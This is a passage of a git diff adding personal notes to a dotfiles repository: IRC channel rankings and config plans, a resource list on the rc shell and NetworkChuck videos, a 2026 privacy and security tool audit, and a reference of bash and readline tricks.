OFTC | `#postmarketos` | A- | Mobile Linux value. | + +Sources: + +- https://wiki.debian.org/IRC/ +- https://www.alpinelinux.org/posts/Switching-to-OFTC.html +- https://wiki.gentoo.org/wiki/IRC/en +- https://emirror.d0a.io/wiki/www.gentoo.org/get-involved/irc-channels/all-channels.html +- https://martchus.dyn.f3l.de/doc/arch-wiki/en/Arch_IRC_channels.html +- https://www.ircdriven.com/network/Libera.Chat/channels/ +- https://www.ircdriven.com/network/OFTC/channels/ + +### Apple and Apple Hackers + +Best interpretation: systems hackers around Apple hardware, Darwin/macOS internals, Mac filesystems, and Apple Silicon, not app-user support and not Apple cybersecurity. + +Add to `oftc`: + +```ini +join = #asahi,#asahi-dev,#asahi-re,#asahi-gpu +``` + +Add optional Libera config or `libera` joins: + +```ini +join = #macosx,#openzfs-macos +``` + +Ranking: + +| Target | Score | Note | +| --- | --- | --- | +| Asahi `#asahi-re` on OFTC | A+ | Reverse engineering Apple Silicon, exactly the high-signal Apple hacker niche. | +| Asahi `#asahi-dev` / `#asahi-gpu` | A | Kernel/GPU/platform work. | +| Asahi `#asahi` | A | Main room, higher noise than specialist rooms. | +| `#openzfs-macos` on Libera | B+ | Filesystem/systems Mac work. | +| `#macosx` on Libera | B | Active, but user/support oriented. | +| Hackintosh rooms | C | Practical but often low trust and legally/ethically messy. | + +Sources: + +- https://asahilinux.org/community +- https://www.ircdriven.com/network/OFTC/channels/ +- https://www.ircdriven.com/network/Libera.Chat/channel/macosx/ +- https://openzfsonosx.org/wiki/IRC_channel + +### General Cybersecurity + +Add: + +| Target | Network | Score | Use | +| --- | --- | --- | --- | +| `hackint` network | hackint | A | Best general hacker network. | +| `#security` | Libera | A- | General security room, large. | +| `#dn42` | hackint | A | Networking trust graph, BGP, routing labs. | +| `#2600`, `#nyc2600` | 2600net | B+ | Older hacker social culture. | +| OWASP/project-specific rooms | Libera or project-specific | B | Verify official current channel; many have moved to Slack/Discord. | +| CTF event rooms | hackint | B+ | High signal during events, dead outside them. | + +Rules: + +- Keep discussion defensive, research, or community oriented. +- Do not ask for exploit help, target help, credential issues, or anything that sounds operationally harmful. +- Build trust by answering basic questions, sharing useful references, and being boringly consistent. + +Sources: + +- https://www.hackint.org/ +- https://www.hackint.org/faq +- https://www.ircdriven.com/network/Libera.Chat/channel/security/ +- https://nyc2600.net/irc/ +- https://dn42.dev/services/IRC + +## Private Trackers and Content Communities + +Important distinction: tracker IRC is not the same kind of trust network as public technical IRC. Tracker IRC is often for interviews, staff support, announce bots, and account-linked community. It can be high-trust after you are inside, but it also carries more identity, privacy, and account-risk coupling. + +Do not buy invites, trade invites, evade bans, or use ratio cheating tools. The tracker community treats those as account-ending and often cross-site-ending behavior. + +### Already Configured + +| Tracker / community | Config | Score | Notes | +| --- | --- | --- | --- | +| RED | `red` | A | Top music tracker and major gateway. Current config uses `irc.interviewfor.red` and `#recruitment`; official prep says interviews take place on IRC. Verify current channel name from prep page before interview. | +| Orpheus | `ops` | A | Music, easier economy than RED, strong gateway. Current config uses `irc.orpheus.network` and `#interview`; official interview prep exists. | +| MyAnonamouse | `mam` | A- | Books/audiobooks, beginner-friendly reputation, strong community. Use site-provided IRC flow. | +| BakaBT | `bakabt` | B+ | Anime/manga, official Rizon channels include `#BakaBT` and `#bakabt-support`; interview/signups exist. | +| DimeADozen | `dime` | B+ | Live recordings/bootlegs community, niche and useful. | +| IRCHighWay `#ebooks` | `irchighway` | B | DCC ebook acquisition, not high-trust tracker community. | +| Undernet `#Bookz` | `undernet` | B | DCC ebook acquisition, active but not a curated trust network. | + +Sources: + +- https://interviewfor.red/en/starting.html +- https://interview.orpheus.network/ +- https://interview.orpheus.network/orpheus-rules.php +- https://wiki.bakabt.me/index.php/IRC +- https://wiki.bakabt.me/index.php/Rules +- https://grimore.org/linux/automating_myanonamouse_private_tracker?do=export_pdf +- https://www.ircdriven.com/network/Undernet/channel/bookz/ +- https://wiki.indie-it.com/wiki/Ebooks +- https://irchighway.net/forum/Help-and-Support/532-booted-from-ebooks + +### Tracker Quality Map + +This table is for future recruitment goals, not necessarily direct catgirl configs. Many top trackers do not have public pre-account IRC worth adding. + +| Domain | Top targets | Score | IRC posture | +| --- | --- | --- | --- | +| Music | RED, OPS | A | Public interview/support IRC exists. Already configured. | +| Movies | PTP, HDB, KG, Tik, BHD, BLU, ANT, SC | A to B | Mostly recruitment after reputation elsewhere; do not add blind IRC configs unless official support channel is public. | +| TV | BTN, TVV, MTV, NBL | A to B | Mostly recruitment/application/account support. | +| Anime | AB, BakaBT, Nyaa, AnimeTorrents | A to B | BakaBT has public IRC; AB usually via recruitment. | +| Books | MAM, Bibliotik | A to B | MAM public path; Bibliotik hard/closed and reportedly low public availability. | +| E-learning | TheGeeks, BitSpyder, MAM | B+ | MAM easiest trust start; others via recruitment/application. | +| Games | GGn, PixelCove | A to B | GGn is top games tracker, usually via recruitment. | +| General | TorrentLeech, FileList, AlphaRatio, IPT | B to C | Useful for coverage, weaker trust. Be careful with reputation. | +| Scene | Milkie, TorrentSeeds, Reelflix-type scene trackers | B | Niche; verify current standing. | +| Audio/live | DIME, Traders' Den, Lossless Legs | B+ | Strong niche communities. | +| Comics | MAM, DC++ hubs, legacy 32p replacement spaces | B | MAM is safer starting point. | + +Secondary tracker research sources: + +- https://wiki.installgentoo.com/wiki/Private_trackers +- https://www.reddit.com/r/trackers/comments/1l9nn4w +- https://autobrr.com/configuration/irc +- https://wiki.pulsedmedia.com/wiki/Private_tracker +- https://thewiki.moe/sourcing/private-trackers/ + +### Tracker Risk Notes + +- Private trackers can log IPs, emails, passkeys, snatchlists, client details, and account history indefinitely. +- Reusing usernames, passwords, email aliases, or distinctive writing across trackers increases linkage. +- Official recruitment is safer than random invites. +- Do not discuss tracker-specific private details in public IRC rooms. +- Do not paste interview answers or staff PMs into logs. +- Never run ratio cheating software. It is also a trust signal in the worst direction. + +## Recommended Config Strategy + +Do not make one huge `join` line on `libera` or `oftc`. Split by purpose so catgirl sessions stay readable and you can idle intentionally. + +### Proposed New Config Names + +| Config | Host | Join | +| --- | --- | --- | +| `math` | `irc.libera.chat` | `##math,##math-offtopic,#science` | +| `physics` | `irc.libera.chat` | `##physics,#gnuradio` | +| `cs` | `irc.libera.chat` | `##programming,#git,#python,##rust,#haskell,#lisp,#scheme,#c` | +| `bsd` | `irc.libera.chat` | `#openbsd,#netbsd,#freebsd` | +| `linux` | `irc.libera.chat` | `#linux,#archlinux,#gentoo,#fedora,#ubuntu` | +| `debian` | `irc.oftc.net` | `#debian,#debian-devel` | +| `plan9` | `irc.oftc.net` | `#cat-v,#9fans` | +| `apple` | `irc.oftc.net` | `#asahi,#asahi-dev,#asahi-re,#asahi-gpu` | +| `embedded` | `irc.oftc.net` | `#alpine-linux,#alpine-devel,#postmarketos,#openwrt,#fdroid` | +| `security` | `irc.libera.chat` | `#security,#networking` | +| `hackers` | `irc.hackint.org` | `#dn42` plus discovered event channels | +| `2600` | `irc.2600.net` | `#2600,#nyc2600` | +| `suckless` | `irc.oftc.net` | `#suckless` | + +### Example Catgirl Template + +```ini +host = irc.libera.chat +port = 6697 +nick = khr1st +real = Kris +join = ##programming,#git,#python,##rust,#haskell,#lisp,#scheme,#c +timestamp = %H:%M +log +quiet +mode = +i +``` + +For hackint, configure SASL or CertFP before serious use because the network is deprecating old NickServ identify workflows. + +## Daily Attention Plan + +| Cadence | Networks | +| --- | --- | +| Always idle | `plan9`, `apple`, `math`, `cs`, `bsd`, `hackers` | +| Often idle | `linux`, `debian`, `embedded`, `security`, `ops`, `mam` | +| Check intentionally | `red`, `bakabt`, `dime`, `irchighway`, `undernet`, `efnet`, `ircnet`, `rizon` | +| Trial only | `2600`, `squick`, `tilde` | + +## Best Next Edits + +1. Add separate purpose configs instead of overloading `libera` and `oftc`. +2. Update `src/srice/bin/irc` categories with new groups: `RESEARCH`, `SYSTEMS`, `SECURITY`, `TRACKERS`. +3. Register/SASL nicks for Libera, OFTC, hackint, and any tracker IRC where allowed. +4. Run `/list` or `alis` live for exact channel validation before joining less certain channels. +5. After two weeks of logs, prune channels with no signal. + +## Sources Index + +Network and IRC docs: + +- https://libera.chat/ +- https://libera.chat/guides/connect +- https://libera.chat/guides/findingchannels +- https://libera.chat/guides/channels +- https://www.oftc.net/ +- https://www.hackint.org/ +- https://www.hackint.org/faq +- https://www.undernet.org/ +- https://lab.undernet.org/ +- https://nyc2600.net/irc/ +- https://squick.me/ + +Channel indexes and community pages: + +- https://www.ircdriven.com/network/Libera.Chat/channels/ +- https://www.ircdriven.com/network/Libera.Chat/channel/security/ +- https://www.ircdriven.com/network/Libera.Chat/channel/openbsd/ +- https://www.ircdriven.com/network/Libera.Chat/channel/netbsd/ +- https://www.ircdriven.com/network/Libera.Chat/channel/macosx/ +- https://www.ircdriven.com/network/OFTC/channels/ +- https://www.ircdriven.com/network/OFTC/channel/9fans/ +- https://www.ircdriven.com/network/Undernet/channel/bookz/ +- https://libera-math.github.io/ +- https://libera-programming.github.io/ + +Project sources: + +- https://www.freebsd.org/community/irc/ +- https://wiki.debian.org/IRC/ +- https://www.debian.org/doc/manuals/developers-reference/resources +- https://wiki.gentoo.org/wiki/IRC/en +- https://emirror.d0a.io/wiki/www.gentoo.org/get-involved/irc-channels/all-channels.html +- https://martchus.dyn.f3l.de/doc/arch-wiki/en/Arch_IRC_channels.html +- https://www.alpinelinux.org/posts/Switching-to-OFTC.html +- https://asahilinux.org/community +- https://openzfsonosx.org/wiki/IRC_channel +- https://dn42.dev/services/IRC +- https://plan9.io/wiki/plan9/community/ +- https://9fans.topicbox.com +- https://www.mail-archive.com/9fans@9fans.net/msg40442.html + +Tracker and content sources: + +- https://interviewfor.red/en/starting.html +- https://interview.orpheus.network/ +- https://interview.orpheus.network/orpheus-rules.php +- https://wiki.bakabt.me/index.php/IRC +- https://wiki.bakabt.me/index.php/Rules +- https://wiki.installgentoo.com/wiki/Private_trackers +- https://grimore.org/linux/automating_myanonamouse_private_tracker?do=export_pdf +- https://wiki.indie-it.com/wiki/Ebooks +- https://irchighway.net/forum/Help-and-Support/532-booted-from-ebooks +- https://autobrr.com/configuration/irc +- https://wiki.pulsedmedia.com/wiki/Private_tracker +- https://thewiki.moe/sourcing/private-trackers/ diff --git a/doc/research.md b/doc/research.md new file mode 100644 index 0000000000000000000000000000000000000000..2807dad7b80ef9cf53d1fe8019a1642d5304d94c --- /dev/null +++ b/doc/research.md @@ -0,0 +1,131 @@ +# Research Dump + +## RC Shell Writing Resources + +### Primary Sources +- [Tom Duff's original paper (cat-v.org)](https://doc.cat-v.org/plan_9/4th_edition/papers/rc) +- [Tom Duff's paper (9p.io)](https://9p.io/sys/doc/rc.html) +- [Tom Duff's paper (PDF)](https://pdos.csail.mit.edu/6.828/2007/readings/rc-shell.pdf) +- [rc(1) man page (plan9port)](https://9fans.github.io/plan9port/man/man1/rc.html) +- [rc(1) man page (cat-v)](http://man.cat-v.org/plan_9/1/rc) +- [Byron Rakitzis' Unix port](https://github.com/rakitzis/rc) + +### Practical Guides +- [rc shell setup on Linux](https://cosine.blue/2019-06-26-rc-shell-setup.html) - Installation + readline config +- [rc instead of bash or fish](https://maximilian-schillinger.de/articles/rc-instead-of-bash-or-fish.html) - Modern practical comparison +- [Plan 9 Rc Survival Guide (SDF)](http://sdf.org/?tutorials%2FPlan_9_rc=) - Quick reference +- [Unix to Plan 9 command translation](https://9p.io/wiki/plan9/Unix_to_Plan_9_command_translation/index.html) + +### Real-World rc Code +- [werc](http://werc.cat-v.org/) - 150-line web framework written entirely in rc, powers cat-v.org +- [swerc](http://git.suckless.org/swerc/) - Suckless fork of werc +- [plan9port acme.rc](https://github.com/9fans/plan9port/blob/master/lib/acme.rc) +- [plan9port rcmain](https://github.com/9fans/plan9port/blob/master/rcmain) +- [rc-httpd-werc setup](http://docs.a-b.xyz/rc-httpd-werc.html) - Web server in rc + +### Community Threads +- [9fans: Examples of rc scripts](https://comp.os.plan9.narkive.com/YHY7GoBg/9fans-examples-of-rc-scripts) +- [9fans: rc vs sh](https://groups.google.com/g/comp.os.plan9/c/g2qBh0T2vT8) +- [HN discussion on rc](https://news.ycombinator.com/item?id=7614694) +- [Slant: bash vs rc](https://www.slant.co/versus/1601/1606/~bash_vs_rc-shell) + +--- + +## NetworkChuck YouTube Channel + +~590 total videos. Channel: https://www.youtube.com/@NetworkChuck +Full archive: https://archive.org/details/NetworkChuck + +### Linux Commands Series +- 60 Linux Commands you NEED to know (in 10 minutes) +- 37 INSANE Linux Commands you NEED to Know in 2025 +- 14 Linux commands to get to know your OS (in under 60 seconds) +- Hacking Linux with These Simple Commands Pt.1 + +### Linux for Hackers (8 episodes) +- EP 1: FREE Linux course for beginners +- EP 2: The Linux File System explained in 1,233 seconds +- EP 3: HELP!! (for when you suck at Linux) +- EP 4: sudo = POWER!! (managing users in Linux) +- EP 5: apt, dpkg, git, Python PiP (Linux Package Management) +- EP 6: start, stop, restart Linux services (daemon HUNTING!!) +- EP 7: KILL Linux processes!! (also manage them) +- EP 8: 2 cool (web) things to do in Linux + +### CCNA 200-301 (24 episodes) +- Day 0: What is a Network? +- Day 1: What is a SWITCH? +- Plus 22+ additional day-by-day progression videos covering routers, TCP/IP & OSI models, WAN technologies, port security, subnetting, network fundamentals + +### You Suck at Subnetting (9 episodes) +- EP 1: what is an IP Address? +- EP 2: we ran OUT of IP Addresses!! +- Plus 7 additional episodes covering IPv4 subnetting fundamentals + +### CompTIA Certifications +- CompTIA A+ course content +- CompTIA Network+ courses +- CompTIA Security+ (8-video series) +- CompTIA Linux+ content + +### Cybersecurity & Hacking +- Learn Ethical Hacking (CEH Journey) - 10 videos +- Hacker Skills // OSINT (Information Gathering) - 7 videos +- become an AI HACKER (it's easier than you think) +- Hacking AI is TOO EASY (this should be illegal) +- The Dark Web EXPOSED (FREE + Open-Source Tool) +- 6 HOURS of Dark Web research in 30 MINUTES +- let's hack your home network +- 3 HACKING gadgets you have to TRY!! +- Hackers infected the wrong girlfriend.... +- the WORST hack of 2026 +- DEFCON is Not What I Expected... + +### AI & Automation (2025-2026) +- Claude Code on your Phone is OFFICIAL (it changes everything) +- Claude Code on your phone in 10 minutes +- FREE Phone Calls with Claude Code +- I'm switching to Hermes (goodbye OpenClaw!!) +- OpenClaw......RIGHT NOW??? (it's not what you think) +- You SUCK at Prompting AI (Here's the secret) +- You've Been Using AI the Hard Way (Use This Instead) +- This AI Supercomputer can fit on your desk... +- got AI anxiety? Do this RIGHT NOW! +- I'm done with the AI hype +- AI in the Terminal (with Gemini CLI, Claude Code, Codex) + +### Raspberry Pi (15 episodes) +- Raspberry Pi - Learn Linux, Hacking, and Coding series +- The TOP 3 uses for a Raspberry Pi!! + +### Cloud & DevOps +- I PASSED the AWS Solutions Architect Associate EXAM!! +- a raspberry pi docker container?!? +- n8n Now Runs My ENTIRE Homelab +- I'll never use n8n the same...... +- You NEED to Use n8n RIGHT NOW!! (Free, Local, Private) + +### Homelab & Projects +- stop trusting cloud cameras!! (here's what I use instead) +- Ethernet is DEAD?? Mac Studio is 100x FASTER!! +- THIS Is Where the Internet Lives +- the FrankeNAS + +### Career & General IT +- the hacker's roadmap (how to get started in IT in 2023) +- 2 Steps to Getting Started in Networking (and IT!) +- Am I Too OLD to Become a Network Engineer +- I almost quit YouTube.... + +### Content Buckets Summary + +| Category | Rough Count | +|----------|-------------| +| Linux & CLI | 30+ | +| Networking & Certs | 50+ | +| Cybersecurity & Hacking | 40+ | +| AI & Automation | 20+ | +| Cloud & DevOps | 15+ | +| Raspberry Pi & Hardware | 20+ | +| Career & General IT | 15+ | +| Homelab | 10+ | diff --git a/doc/roadmaps/edu.md b/doc/roadmaps/edu.md new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/doc/roadmaps/it.md b/doc/roadmaps/it.md new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/doc/security.md b/doc/security.md new file mode 100644 index 0000000000000000000000000000000000000000..255cc857241e77414be73b12bf530d9d9858758d --- /dev/null +++ b/doc/security.md @@ -0,0 +1,205 @@ +# Security Stack Audit (2026-05-26) + +## Current Stack (Keep) + +| Tool | Verdict | +|------|---------| +| Mullvad VPN | Gold standard. Six consecutive clean audits through 2026. No incidents. Keep. | +| Proton Suite | SOC 2 Type II (July 2025), ISO 27001, all apps audited by Securitum/Cure53. Solid ecosystem. Keep. | +| AdGuard Home | Good for network-wide blocking. Add Quad9 (9.9.9.9) as upstream DNS for malware-feed threat blocking. | + +--- + +## Identity Protection: Skip the Paid Services + +Aura, LifeLock, Identity Guard are credit monitoring repackaged with marketing. Aura itself got breached via phishing in March 2026. "Dark web monitoring" scans known breach dumps. It cannot see private criminal forums where real trading happens. + +### What actually protects you (free) + +1. **Credit freeze at all three bureaus** (Equifax, Experian, TransUnion). Free. Prevents new account fraud entirely. This alone beats any paid identity service. +2. **IRS Identity Protection PIN** prevents tax fraud filings. +3. **USPS Informed Delivery** alerts on mail in your name. + +Do not pay for any service claiming "comprehensive dark web coverage." It does not exist. + +--- + +## Data Removal + +Consumer Reports 2025 found manual opt-outs were 70% more effective than paid services. But automation saves time on the treadmill (data repopulates constantly from public records). + +| Service | Price | Coverage | Notes | +|---------|-------|----------|-------| +| Kanary | $99/yr | 1000+ sites | Best value. Uses CCPA/GDPR legal frameworks to force compliance. | +| Optery | $249/yr | 270+ brokers | Verification screenshots, broader automation. | +| DeleteMe | $249/yr | 750+ brokers | Human-assisted. Expensive for what it does. | + +**Recommendation:** Kanary at $99/yr. Supplement with Google's "Results About You" tool (free), which now covers SSNs, government IDs, and people search results. + +Reality check: there are 750+ registered US data brokers. No service covers them all. Data removal is maintenance, not a one-time fix. + +--- + +## Communication + +| Tool | Use Case | Notes | +|------|----------|-------| +| Signal | Default messaging | Post-quantum ratchet (SPQR with ML-KEM) added 2025. Still requires phone number. | +| SimpleX | Anonymous comms | No identifiers at all. Servers cannot see who talks to whom. Matured significantly in 2026. | +| Matrix/Element | Self-hosted team chat | Federation + bridges to IRC/Slack/Discord. Can self-host on STARGATE. | + +--- + +## Browser + +| Browser | Use Case | +|---------|----------| +| LibreWolf | Daily driver. Hardened Firefox, all telemetry stripped. | +| Mullvad Browser | Fingerprint resistance without onion routing. Use when needed. | +| Tor Browser | Actual anonymity. Already running Tor services. | + +--- + +## Password Manager + +Proton Pass works inside the Proton ecosystem. Alternatives: + +- **KeePassXC** for offline-only, zero cloud exposure, zero trust required. +- **Bitwarden** ($0-20/yr) for cloud sync on a budget. Open source, audited, but US jurisdiction. + +--- + +## Hardware Security Keys + +| Key | Price | Why | +|-----|-------|-----| +| Nitrokey 3 | $59 | Open-source firmware, Common Criteria EAL 6+, full protocol support (FIDO2/OTP/PIV/OpenPGP). Auditable hardware. | +| Google Titan | ~$30 | 250+ passkey capacity, cheapest solid option. No OTP/PIV. | +| SoloKeys Solo 2 | $35-46 | Open-source, affordable. FIDO2 only. | + +**Recommendation:** Nitrokey 3. Open firmware matters. Buy two (one backup). + +--- + +## DNS (External/Mobile) + +AdGuard Home covers the home network. For devices off-network: + +- **Quad9** (9.9.9.9) is a Swiss non-profit, threat data from 20+ partners (IBM X-Force, Abuse.ch), no logs, DoH/DoT/DoQ. +- **Mullvad DNS** has zero logs, content blocking. Free for everyone. + +Set Quad9 as upstream in AdGuard Home for threat blocking on top of existing blocklists. + +--- + +## VPN Landscape + +| Provider | Notes | +|----------|-------| +| Mullvad | Six consecutive clean audits. Web app audit (Oct 2025, Assured), payment API audit (Jan 2026, X41 D-Sec), GotaTun WireGuard audit (Mar 2026), Android MASA audit (Mar 2025, NCC Group). No critical vulnerabilities found in any. | +| IVPN | Six-year audit streak with Cure53. Fully open-source, single founder with disclosed 100% ownership. $6/month, 2 devices on Standard. | +| ProtonVPN | Swiss jurisdiction, four consecutive annual audits, zero-knowledge architecture verified by Securitum. Free tier with unlimited data. | + +Mullvad for maximum privacy. ProtonVPN if you want a free tier + Swiss jurisdiction. IVPN only if multi-hop or specific server locations matter. + +--- + +## Email/Suite Deep Dive + +### Proton Suite + +- SOC 2 Type II audit (July 2025, Schellman). All services passed. +- ISO 27001 certification (May 2024). +- Mail (iOS/Android/web) audited by Securitum (Nov 2025). +- Proton Pass audited by Cure53. +- No ownership concerns in 2025-2026. +- Trade-off: integrated ecosystem is convenient but creates vendor lock-in. + +### Tuta (formerly Tutanota) + +- All emails encrypted by default using post-quantum TutaCrypt (hybrid: CRYSTALS-Kyber + AES-256/x25519). Future-proofed against quantum computers. +- Tuta Drive launched closed beta April 2026 with post-quantum encryption for cloud storage. +- German jurisdiction (strict privacy laws, servers in Germany). +- Includes encrypted calendar + address book. +- Fewer integrations than Proton but stronger quantum-safe posture. + +--- + +## Code Review & Security Scanning for SourceHut + +No major AI code review tool supports SourceHut natively. Everything runs via CLI in builds.sr.ht. + +### Recommended Tools + +| Tool | Purpose | Cost | +|------|---------|------| +| Semgrep | SAST (static analysis) | Free, 3000+ rules, 10-20s scans | +| TruffleHog | Secret scanning | Free, 700+ patterns, verifies live credentials | +| Trivy | Container + dependency + secret scanning | Free, single binary | +| Gitleaks | Fast secret scanning (lighter than TruffleHog) | Free | +| Snyk CLI | Dependency vulnerability scanning | Free tier | + +### builds.sr.ht Configuration + +```yaml +# .build.yml +image: alpine/edge +packages: + - python3 + - py3-pip +tasks: + - security: | + pip install semgrep trufflehog + semgrep --config=p/security-audit --config=p/owasp-top-ten . + trufflehog filesystem --json . | grep -c verified + trivy fs --scanners vuln,secret . +``` + +### AI Code Review + +No SourceHut-native option exists. Closest is self-hosting PR-Agent (Apache 2.0, supports bring-your-own LLM) and wiring it to builds.sr.ht via webhooks. Requires custom integration work. Alternatively, run `claude` CLI in a local pre-push hook for AI review before pushing. + +### SAST Tool Comparison + +- **Semgrep**: Best fit for SourceHut. CLI only, Alpine-compatible, 10-20s per scan, ~150MB memory, 3000+ community rules, custom rules look like source code. No account needed. +- **CodeQL**: Free for open source, paid for private repos. CLI available but slower (minutes to 30+ min, 450MB memory). Superior for complex code analysis. GitHub-native but runs anywhere. +- **SonarQube/SonarCloud**: Client-server model. More infrastructure overhead. Requires SonarScanner in builds.sr.ht. Free tier for public repos. + +### Secret Scanning Comparison + +- **TruffleHog**: Two-phase (entropy + regex, then real API verification). 700+ credential patterns. Recommended. +- **Gitleaks**: Faster pure scanning. No verification phase. Good as a complement. + +### Container Scanning Comparison + +- **Trivy**: Vulnerabilities, misconfigurations, secrets, licenses, SBOM. Comprehensive in one tool. Recommended. +- **Grype**: 30-40% faster for pure vulnerability matching. Narrower scope (vulnerabilities + SBOM only). + +--- + +## Action Plan + +### Do Today (Free) + +- [ ] Credit freeze at Equifax, Experian, TransUnion +- [ ] Google "Results About You" enrollment +- [ ] IRS Identity Protection PIN +- [ ] USPS Informed Delivery +- [ ] Set Quad9 as upstream DNS in AdGuard Home + +### Buy Soon + +- [ ] Nitrokey 3 x2 (~$120 one-time) +- [ ] Kanary subscription ($99/yr) + +### Set Up + +- [ ] SimpleX for sensitive communications +- [ ] Semgrep + TruffleHog + Trivy in builds.sr.ht pipelines +- [ ] KeePassXC if moving off Proton Pass + +### Evaluate Later + +- [ ] Self-hosted PR-Agent for AI code review on SourceHut +- [ ] Matrix/Element on STARGATE for federated chat +- [ ] Tuta as Proton alternative (post-quantum encryption) diff --git a/doc/shell-mastery.md b/doc/shell-mastery.md new file mode 100644 index 0000000000000000000000000000000000000000..bc7d3c4aebbf43418b1fd6c0575a9284054c2f69 --- /dev/null +++ b/doc/shell-mastery.md @@ -0,0 +1,295 @@ +# Shell Mastery Reference + +Tricks from Usenet archives, Bell Labs culture, and 30+ years of terminal living. + +## Readline Kill Ring + +Readline maintains a ring buffer of killed text: +- `Ctrl-w` -- kill word backward +- `Ctrl-k` -- kill to end of line +- `Ctrl-u` -- kill to beginning of line +- `Ctrl-y` -- yank (paste) most recent kill +- `Alt-y` -- cycle through kill ring after a yank (the trick nobody knows) +- `Alt-3 Alt-b` -- numeric argument: move backward 3 words + +Targeted completions: +- `Ctrl-x ~` -- username completion +- `Ctrl-x /` -- filename completion +- `Ctrl-x $` -- variable name completion +- `Ctrl-x @` -- hostname completion +- `Ctrl-x !` -- command name completion + +## fc (Fix Command) + +- `fc` -- open last command in $EDITOR, execute on save +- `fc -3` -- open 3 commands back +- `fc 100 110` -- edit commands 100-110 as a batch script +- `fc -s old=new` -- re-run last command with substitution +- `fc -l -20` -- list last 20 commands + +Alias: `r='fc -s'` then `r cc` re-runs last command starting with "cc" + +## Ctrl-x Ctrl-e + +Opens current half-typed command in $EDITOR. Different from fc: +- fc edits the PREVIOUS command after it ran +- Ctrl-x Ctrl-e edits the CURRENT command before execution +- In vi mode: hit Escape then v + +## History Expansion + +Event designators: +- `!!` -- last command +- `!-3` -- 3 commands ago +- `!grep` -- most recent command starting with "grep" +- `!?config?` -- most recent containing "config" + +Word designators: +- `!$` -- last argument of previous command +- `!^` -- first argument +- `!*` -- all arguments +- `!!:2` -- second argument +- `!!:2-4` -- arguments 2 through 4 + +Modifiers (chain these): +- `:h` -- head (dirname): /a/b/c.txt -> /a/b +- `:t` -- tail (basename): /a/b/c.txt -> c.txt +- `:r` -- root (strip extension): file.tar.gz -> file.tar +- `:e` -- extension only: file.tar.gz -> .gz +- `:p` -- print but don't execute +- `:s/old/new/` -- substitute first +- `:gs/old/new/` -- global substitute + +Killer combos: +``` +!!:gs/src/build/ # rerun with all src -> build +cd !$:h # cd to dirname of last arg +``` + +## Alt-. (Insert Last Argument) + +Press `Alt-.` to insert the last argument of the previous command. +Repeat to cycle through older commands' last arguments. +This is the single most useful keystroke for avoiding path retyping. + +## Process Substitution + +```bash +diff <(sort file1) <(sort file2) # diff two commands +diff <(ssh server cat /etc/hosts) /etc/hosts # compare remote vs local +comm -23 <(sort deployed) <(sort healthy) # set difference + +# Variable survival (no subshell): +while read -r line; do count=$((count+1)); done < <(grep ERROR log) +# vs pipe (subshell, variables lost): +grep ERROR log | while read -r line; do count=$((count+1)); done + +# Fan-out with tee: +cmd | tee >(gzip > backup.gz) >(jq . > pretty.json) > /dev/null +``` + +## Named Pipes (FIFOs) + +```bash +mkfifo /tmp/pipe +# Terminal 1: tail -f /var/log/app.log > /tmp/pipe +# Terminal 2: grep ERROR < /tmp/pipe + +# Skip temp file for large data: +mkfifo /tmp/dbpipe +gunzip -c dump.sql.gz > /tmp/dbpipe & +mysql mydb < /tmp/dbpipe + +# Persistent fd (avoids blocking-on-open): +mkfifo /tmp/pipe +exec 3<>/tmp/pipe +echo "msg" >&3 +read -r line <&3 +``` + +## File Descriptor Tricks + +```bash +# Swap stdout and stderr: +command 3>&1 1>&2 2>&3 + +# Persistent stderr redirect: +exec 2>error.log # ALL subsequent stderr goes to file + +# Bash TCP sockets (no netcat): +exec 3<>/dev/tcp/example.com/80 +echo -e "GET / HTTP/1.0\r\n\r\n" >&3 +cat <&3 +exec 3>&- + +# Close fd to prevent child inheritance: +some_command 3<&- +``` + +## Signal Traps + +```bash +# The definitive cleanup pattern: +tempfile=$(mktemp) || exit +trap 'rm -f "$tempfile"' EXIT # fires on ANY exit + +# Correct SIGINT handler (preserves caller semantics): +trap 'rm -f "$tempfile"; trap - INT; kill -s INT "$$"' INT + +# Daemon reload: +trap 'read_config' HUP + +# Background process reaping: +trap '[[ $pid ]] && kill "$pid"' EXIT +long_cmd & pid=$! +wait "$pid" +``` + +## LC_ALL=C for Performance + +```bash +export LC_ALL=C # before sort/grep/awk on large files +# Bypasses locale-aware Unicode processing. 5-10x faster. +``` + +## PIPESTATUS + +```bash +false | true | false +echo ${PIPESTATUS[@]} # "1 0 1" -- every pipe stage's exit code +``` + +## ed for Scripted Editing + +POSIX guaranteed. Preserves inodes (unlike sed -i). + +```bash +# Uncomment a line: +ed -s file.conf <<'EOF' +/^#ServerName/s/^#// +w +q +EOF + +# Insert after a pattern: +ed -s file <<'EOF' +/pattern/a +new line here +. +w +q +EOF + +# Delete matching lines: +printf '%s\n' 'g/pattern/d' w q | ed -s file +``` + +## Brace Expansion + +```bash +cp file.txt{,.bak} # backup +mv file.{old,new} # rename +mkdir -p app/{src,lib,test,doc} # scaffold +diff config.{orig,modified} # quick diff +echo {01..10} # zero-padded sequence +echo {a,b}{1,2} # cartesian: a1 a2 b1 b2 +touch test_{a,b,c}_{1..5}.txt # 15 files +``` + +## Parameter Expansion + +```bash +${var:-default} # use default if unset +${var:=default} # assign default if unset +${var:+alternate} # use alternate if set +${var:?error} # exit with error if unset +${#var} # string length +${var:5:3} # substring +${var#*/} # strip shortest prefix +${var##*/} # strip longest prefix (basename) +${var%/*} # strip shortest suffix (dirname) +${var%%.*} # strip longest suffix (all extensions) +${var/old/new} # replace first +${var//old/new} # replace all +${var^^} # UPPERCASE +${var,,} # lowercase +${!name} # indirect: value of variable named by $name +``` + +## shopt Options That Matter + +```bash +shopt -s autocd # type dir name to cd into it +shopt -s cdspell # auto-correct cd typos +shopt -s dirspell # auto-correct tab completion typos +shopt -s globstar # enable ** recursive glob +shopt -s histverify # !! shows expansion before executing +shopt -s histappend # append to history, don't overwrite +shopt -s extglob # enable !(pattern), +(pattern), etc. +shopt -s nullglob # unmatched globs expand to nothing +``` + +## CDPATH + +```bash +export CDPATH=".:~:~/dev" +cd srice # jumps to ~/dev/srice from anywhere +``` + +## HISTCONTROL + +```bash +HISTCONTROL='ignorespace:erasedups' # dedup entire history +HISTSIZE=1000000 +HISTFILESIZE=1000000 +HISTTIMEFORMAT="%F %T " # ISO timestamps +``` + +## PROMPT_COMMAND and trap DEBUG + +```bash +# Sync history across terminals: +PROMPT_COMMAND='history -a; history 